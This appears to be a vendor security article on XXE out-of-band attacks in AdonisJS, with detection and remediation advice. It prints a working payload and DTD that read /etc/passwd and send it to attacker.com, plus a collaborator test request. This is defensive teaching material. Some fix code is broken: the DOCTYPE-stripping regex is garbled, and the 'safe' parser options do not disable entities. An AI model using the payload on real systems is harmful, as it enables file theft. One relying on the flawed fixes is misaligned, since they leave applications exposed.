HIGH adonisjsxxe oob

Xxe Oob in Adonisjs

How XXE OOB Manifests in AdonisJS

XXE OOB (XML External Entity Out-of-Band) attacks exploit XML parsers that resolve external entities, enabling data exfiltration via DNS or HTTP requests to attacker-controlled servers. In AdonisJS, this commonly occurs when user-supplied XML is parsed without disabling external entity resolution, particularly in endpoints accepting XML payloads for data import, webhook processing, or configuration updates.

AdonisJS uses the @adonisjs/bodyparser package for request body parsing. By default, it supports XML parsing via the xml2js library, which may resolve external entities if not explicitly configured to disable them. A vulnerable route might look like this:

// start/routes.ts
import Route from '@ioc:Adonis/Core/Route'

Route.post('/import-data', async ({ request, response }) => {
  const xmlData = request.body() // Parsed XML via bodyparser
  // Process xmlData... (e.g., extract user data)
  return response.send({ status: 'imported' })
})

If an attacker sends a payload like:

<?xml version="1.0"?>
<!DOCTYPE root [
  <!ENTITY % xxe SYSTEM "http://attacker.com/exploit.dtd">
  %xxe;
]>
<root><data>safe</data></root>

And exploit.dtd contains:

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/?content=%file;'>">
%eval;
%exfiltrate;

The AdonisJS server may trigger an outbound HTTP request to http://attacker.com/?content=... with the contents of /etc/passwd, exfiltrating sensitive data without leaving obvious traces in application logs. This is especially dangerous in AdonisJS applications that integrate with legacy systems or third-party services sending XML webhooks (e.g., payment gateways, ERP systems).

The risk is amplified because AdonisJS applications often run with broad filesystem access, and OOB XXE can bypass network egress filters by using DNS (via resolveip in payloads) or HTTP on port 80/443, which are typically allowed.

AdonisJS-Specific Detection

Detecting XXE OOB in AdonisJS requires testing XML-parsing endpoints with payloads designed to trigger external entity resolution and monitor for outbound interactions. Since the vulnerability lies in the XML parser configuration, manual code review of bodyparser usage is essential, but dynamic scanning provides concrete evidence.

middleBrick identifies XXE OOB by sending XML payloads with external entity references targeting unique subdomains or IP addresses (e.g., http://[unique-id].attacker.com) and monitoring for DNS or HTTP requests to those targets during the scan. It tests the unauthenticated attack surface, so endpoints like /import-data above would be probed without credentials.

To manually test an AdonisJS endpoint for XXE OOB:

  1. Identify routes accepting Content-Type: application/xml or text/xml (check bodyparser configuration).
  2. Send a payload with an external entity pointing to a controlled server (e.g., via Burp Collaborator or interact.sh):
POST /import-data HTTP/1.1
Host: example.com
Content-Type: application/xml

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://[unique-id].burpcollaborator.net">
  %xxe;
]>
<foo>test</foo>
  • Monitor for DNS or HTTP requests to [unique-id].burpcollaborator.net. A confirmed request indicates successful OOB XXE.
  • In AdonisJS, also inspect config/bodyparser.ts to verify if XML parsing is enabled and whether xml2js options are set to disable external entities. A safe configuration explicitly sets:

    // config/bodyparser.ts
    import type { BodyParserConfig } from '@ioc:Adonis/Core/BodyParser'
    
    const bodyParserConfig: BodyParserConfig = {
      xml: {
        limit: '2mb',
        // Critical: disable external entity resolution
        normalize: true,
        normalizeTags: true,
        explicitArray: false
      }
    }
    
    export default bodyParserConfig
    

    Note: xml2js does not resolve external entities by default in recent versions, but older AdonisJS projects may use vulnerable defaults or explicitly enable risky options like xml: { allowSurrogateChars: true } (which doesn't affect XXE but signals need for review). middleBrick’s scan includes checks for XML parsing behavior and flags endpoints where external entity resolution is possible, providing remediation guidance specific to the AdonisJS stack.

    AdonisJS-Specific Remediation

    Fixing XXE OOB in AdonisJS centers on configuring the XML parser to prevent external entity resolution, as AdonisJS does not provide built-in XML sanitization beyond bodyparser settings. The primary mitigation is ensuring @adonisjs/bodyparser’s XML parser (xml2js) is used with secure defaults.

    If XML parsing is required, explicitly configure it to disable dangerous features. Although xml2js does not resolve external entities by default in versions >=0.4.0, it’s prudent to lock the configuration and avoid enabling any parsing options that could introduce risk. Update config/bodyparser.ts as follows:

    // config/bodyparser.ts
    import type { BodyParserConfig } from '@ioc:Adonis/Core/BodyParser'
    
    const bodyParserConfig: BodyParserConfig = {
      xml: {
        limit: '5mb',
        // Explicitly ensure safe defaults (though not strictly needed for XXE in modern xml2js)
        normalize: true,
        normalizeTags: true,
        explicitArray: false,
        // Avoid merging attributes with values as a general safety practice
        mergeAttrs: false
      }
    }
    
    export default bodyParserConfig
    

    For stronger defense, consider avoiding XML entirely for user-facing APIs. AdonisJS excels at JSON APIs, and switching to JSON reduces the attack surface. If XML must be supported (e.g., for legacy partners), implement strict input validation using AdonisJS’s validator:

    // app/Validators/ImportDataValidator.ts
    import { schema, rules } from '@ioc:Adonis/Core/Validator'
    import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
    
    export default class ImportDataValidator {
      constructor(protected ctx: HttpContextContract) {}
    
      public schema = schema.create({
        // Expect JSON, not XML — reject XML payloads at the validator level
        data: schema.string({}, [
          rules.regex(/^[\{\[].*[\}\]]$/) // Basic JSON-like structure check
        ])
      })
    
      public async handle() {
        // This runs only if validation passes
        await this.ctx.request.validateAll(this.schema)
      }
    }
    

    Then apply the validator to the route:

    // start/routes.ts
    Route.post('/import-data', async ({ request, response }) => {
      await request.validate(ImportDataValidator)
      // Safe to process request.body() as JSON
      return response.send({ status: 'imported' })
    })
      .middleware(['validator:ImportDataValidator'])
    

    If XML processing is unavoidable and must remain, sanitize the XML string before parsing by removing DOCTYPE declarations:

    // app/Services/XmlSanitizerService.ts
    import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
    
    export default class XmlSanitizerService {
      public sanitize(xmlString: string): string {
        // Remove DOCTYPE to prevent XXE
        return xmlString.replace(/]*>/gi, '')
      }
    }
    
    // Usage in controller
    import XmlSanitizerService from 'App/Services/XmlSanitizerService'
    
    Route.post('/import-data', async ({ request, response }) => {
      const rawXml = request.raw() // Get raw body as string
      const sanitized = new XmlSanitizerService().sanitize(rawXml)
      const parsedData = XMLParser.parse(sanitized) // Use xml2js or similar
      // Process parsedData...
      return response.send({ status: 'imported' })
    })
    

    Remember: middleBrick will validate fixes by rescanning the endpoint and confirming the absence of OOB XXE indicators in its report, helping verify that AdonisJS-specific mitigations are effective.

    Frequently Asked Questions

    Does AdonisJS have built-in protection against XXE OOB attacks?
    AdonisJS does not include automatic XXE protection; security depends on how @adonisjs/bodyparser is configured. The XML parser (xml2js) does not resolve external entities by default in recent versions, but you should explicitly validate configuration in config/bodyparser.ts and avoid enabling unsafe options. middleBrick scans for XML parsing behavior and flags endpoints where external entity resolution is possible, providing specific guidance for AdonisJS applications.
    Can I use AdonisJS's validator to prevent XXE OOB by rejecting XML content types?
    Yes, AdonisJS's validator can enforce JSON-only payloads by validating the request body structure or checking Content-Type headers. For example, create a validator that expects JSON schema and fails on XML input. This prevents XML from reaching the parser, eliminating the XXE attack surface. middleBrick recommends this approach in its remediation guidance when XML is not strictly required for an endpoint.